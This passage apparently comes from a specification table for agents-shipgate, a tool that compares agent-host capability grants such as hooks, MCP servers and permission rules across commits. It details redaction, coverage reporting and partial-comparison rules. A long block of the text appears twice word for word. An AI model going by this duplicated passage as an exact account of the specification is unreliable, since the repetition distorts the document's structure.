Missing comparison evidence never supplies empty comparable rows. Host route only; workflow rows compare effective writes and reusable secret recipients (#685, `tests/test_workflow_capability_diff.py`) and each job's remote step action references, as a non-widening change (#771, `tests/test_workflow_step_action_references.py`); every job id, step label, trigger and scope name those rows print is the label the engine published once where it built the grant, redacted, never re-derived here; `check`'s workflow evidence is derived from the raw declarations, which it still compares, and redacts job and scope names by the same rule; two distinct job ids or triggers in one workflow, or scope names in one `permissions` mapping, that publish alike are refused rather than compared, so while such a workflow exists `check` refuses on every run even when it is unchanged (#802, `tests/test_workflow_label_redaction.py`); artifact-only edits remain separate evidence. Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL, its package and argument digest (#819) and the env and header key names its grant already publishes, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or another setting; a hook with each handler field that changed — its group's matcher, its command as its executable's name and digest, its timeout — before and after, a handler only one side declares, or the published handlers in a different order with a detail not shown that may also differ, and past the handler bound the same kind of sentence naming a handler past it, all read from the handlers its host-grants `0.7` grant publishes, which hold no command or argument text, and never re-derived here, and a declaration outside the documented hooks shape named as not shown rather than guessed (#819, `tests/test_hook_mcp_detail_fields.py`); those hook and MCP members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out, a saved baseline holds none of them, and no row, row value, reason, digest or control answer moves; the PR comment prints an entry whole when the whole comment fits and otherwise cuts it to the widest of 480, 240 and 120 characters at which it does, so no long entry hides a later row, the change count or the review question (#819 review, cycle 4); an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before. A `0.20` verifier claiming a partial comparison or a scope is refused. | +| `capability_diff` | `src/agents_shipgate/cli/diff.py`, `src/agents_shipgate/core/capability_diff_rows.py`, `src/agents_shipgate/core/host_comparison.py`, `src/agents_shipgate/report/host_comparison.py`, `src/agents_shipgate/core/unread_inputs.py`, `src/agents_shipgate/cli/verify/changed_inputs.py` | — | — | Answers no question the engine answers: it emits no verdict, no release decision and no pin.

Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before. A `0.20` verifier claiming a partial comparison or a scope is refused. | | `zero_install_detector` | `tools/shipgate-detect.py` | `agent_project_verdict` | `test_detector_verdict_matches_cli` | Emits no `diagnostics[]` and no `next_actions[]`; evidence strings and framework scores are simplified.
